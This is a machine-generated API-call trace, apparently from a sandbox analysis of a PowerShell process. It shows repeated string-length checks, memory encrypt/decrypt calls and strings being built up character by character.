(param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊✷遪粨槁뷗䗗䆿栏") returned 0x28 [0228.745] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊✷遪粨槁뷗䗗䆿栏") returned 0x28 [0228.745] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.745] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135\⟜乑ㅬ⊇) returned 0x28 [0228.746] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.746] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊Ⲧ襕疻↹Ⲱ㓙뜢ꇊ") returned 0x28 [0228.746] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊Ⲧ襕疻↹Ⲱ㓙뜢ꇊ") returned 0x28 [0228.746] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.746] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135U儧汎蜱") returned 0x28 [0228.746] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.746] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊\폞ᗠ氹Ą묵∮) returned 0x28 [0228.746] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊\폞ᗠ氹Ą묵∮) returned 0x28 [0228.746] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.746] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UO汎蜱") returned 0x28 [0228.746] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.746] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊㖊䝸寶쨃僔옂") returned 0x28 [0228.746] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊㖊䝸寶쨃僔옂") returned 0x28 [0228.746] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.747] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UOZ蜱") returned 0x28 [0228.747] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.747] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊㌸鉛杁鷋ᴤ㠿腉") returned 0x28 [0228.747] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊㌸鉛杁鷋ᴤ㠿腉") returned 0x28 [0228.747] SystemFunction041 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.747] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UOZK") returned 0x28 [0228.747] SystemFunction040 (in: Memory=0x5c925d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c925d4) returned 0x0 [0228.747] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ") returned 0x28 [0228.748] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ") returned 0x28 [0228.748] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ") returned 0x28 [0228.748] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ") returned 0x30 [0228.748] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.748] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UOZK3몯ļᇑ鹟❗펐") returned 0x30 [0228.748] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.748] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ뎙䠍쩈⾬煾陊㣮픛") returned 0x30 [0228.748] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ뎙䠍쩈⾬煾陊㣮픛") returned 0x30 [0228.748] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.749] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UOZK3h몯ļᇑ鹟❗펐") returned 0x30 [0228.749] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.749] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ↨鸑広똮멈觳\ꋟ⋬) returned 0x30 [0228.749] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ↨鸑広똮멈觳\ꋟ⋬) returned 0x30 [0228.749] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.749] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UOZK3hwļᇑ鹟❗펐") returned 0x30 [0228.749] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.749] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ蘿႖৓鶒㨕") returned 0x30 [0228.749] SysStringLen (param_1="ૉ쓧핂䂹Ⓥ䍏쎑㳪ꢮ\꧜瘄㟌곫ʺ腇쵼놑ⴶ\ᣚ⸠汮촳虖隣밽域Ἵ䨊蟑삞췆믲騾⠠吤ẫ蘿႖৓鶒㨕") returned 0x30 [0228.749] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.749] SysStringLen (param_1="SDE/yZ6kooE3LShxgGeEY92RhycTYEInS135UOZK3hw=ᇑ鹟❗펐") returned 0x30 [0228.749] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0228.750] EtwEventActivityIdControl () returned 0x0 [0228.750] EtwEventActivityIdControl () returned 0x0 [0228.750] EtwEventActivityIdControl () returned 0x0 [0228.750] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.751] EtwEventActivityIdControl () returned 0x0 [0228.751] EtwEventActivityIdControl () returned 0x0 [0228.751] EtwEventActivityIdControl () returned 0x0 [0228.751] SysStringLen (param_1="") returned 0x8 [0228.751] SysStringLen (param_1="N") returned 0x8 [0228.751] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.752] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0228.752] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0228.752] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.752] SysStringLen (param_1="ND") returned 0x8 [0228.752] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.752] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0228.752] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0228.752] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.752] SysStringLen (param_1="NDZ") returned 0x8 [0228.752] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.752] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0228.752] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0228.752] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.752] SysStringLen (param_1="NDZl") returned 0x8 [0228.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.753] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0228.753] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0228.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.753] SysStringLen (param_1="NDZlO") returned 0x8 [0228.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.753] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0228.753] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0228.753] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.753] SysStringLen (param_1="NDZlOD") returned 0x8 [0228.753] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.753] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0228.754] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0228.754] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.754] SysStringLen (param_1="NDZlODR") returned 0x8 [0228.754] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.754] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0228.754] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0228.754] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.754] SysStringLen (param_1="NDZlODRm") returned 0x8 [0228.754] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0228.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0228.754] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0228.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0228.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0228.755] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.755] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0228.755] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0228.755] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0228.755] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.756] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0228.756] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0228.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0228.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.756] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0228.756] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0228.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0228.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.756] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0228.756] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0228.756] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0228.756] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.857] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0228.857] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0228.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0228.857] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.857] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0228.857] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0228.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0228.857] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.857] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0228.857] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0228.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0228.858] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.858] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0228.858] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0228.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0228.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0228.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0228.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0228.859] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.859] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0228.859] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0228.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0228.859] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0228.859] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0228.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0228.860] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0228.860] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0228.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0228.860] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0228.860] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0228.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0228.860] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0228.860] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0228.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0228.861] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0228.861] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0228.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0228.861] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0228.861] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0228.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0228.861] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.862] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0228.862] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0228.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0228.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0228.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0228.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0228.862] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0228.863] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0228.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0228.863] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0228.863] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0228.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0228.863] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0228.863] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0228.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0228.864] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0228.864] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0228.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0228.864] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.864] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0228.864] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0228.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0228.864] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0228.864] 